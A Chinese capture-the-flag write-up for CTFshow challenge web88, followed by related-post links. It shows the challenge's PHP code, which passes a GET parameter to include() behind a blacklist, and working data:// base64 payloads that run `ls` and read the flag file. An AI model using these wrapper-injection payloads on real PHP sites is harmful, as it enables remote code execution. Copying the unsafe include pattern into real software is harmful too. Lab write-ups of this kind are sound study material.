CTFshow 文件包含 web88
目录
- 源码
- 思路
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
}
思路
只过滤了php,我们可以用data伪协议,base64绕过,但是还有一个问题,+和=号是被过滤的,而<?php echo
ls?>
的base64加密有等号,我们可以在后面加入1来混淆
我们可以在后面加入1来混淆
?file=data://text/plain;base64,PD9waHAgZWNobyBgbHNgPz4xMTEx
成功绕过
可以尝试下怎么不出现 + 和 =
<?php echo `tac fl0g.php`;?>11
?file=data://text/plain;base64,PD9waHAgZWNobyBgdGFjIGZsMGcucGhwYDs/PjEx
拿到flag
题解
################################
总结
水题
CTFshow 文件包含 web88相关推荐
- ctfshow 文件包含Web78-79
Ctfshow文件包含漏洞 2022/4/15 漏洞简介: 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件.如果文件中存在恶意代码,无论文件是什么类型 ...
- CTFshow 文件包含 web82
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...
- CTFshow 文件包含 web80
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...
- ctfshow 文件包含 web 78 -117
目录 web 78 web 79 web 80 web 81 web 82-86(环境暂时做不了) web 87 web 88 web 116 web 117 web 78 data://text/p ...
- CTFshow 文件包含 web116
目录 源码 思路 题解 总结 源码 下载视频用winhex分离出png 思路 可以正常读文件 题解 直接跑字典 总结 水题
- CTFshow 文件包含 web87
目录 源码 思路 题解 题解一 题解二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11: ...
- CTFshow 文件包含 web81
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...
- CTFshow 文件包含 web117
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # ...
- CTFshow 文件包含 web79
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # ...
最新文章
- 计算两个日期之间的年数
- java类加载是什么意思_java 类加载机制有什么用
- django mysql开发_【python-Django开发】Django 配置MySQL数据库讲解!!!
- android api接口封装,生成App接口
- Percona5.6自身已支持杀死慢SQL
- 安卓牛客专项练习2020.12.31
- T-SQL 中ON和WHERE的区别
- Java 日期与时间
- Java8新特性总结 -7.新API和工具
- 解决ipad,ios录屏保存失败-5823
- for /r命令实现全盘搜索指定文件
- Google工程师多图详解Android系统架构
- xshell5和xftp5安装教程
- VSTest.Console.exe 的使用
- Vue_(基础)Vue中的事件
- 图虫:科技赋能图片版权领域创新发展
- 重新发现业务架构:银行数字化转型经验与方法分析
- 基于域对抗图卷积网络的多变环境下故障诊断
- 6.1 手机时钟系统简介
- OSChina 周三乱弹 —— 啪啪啪是敲键盘的声音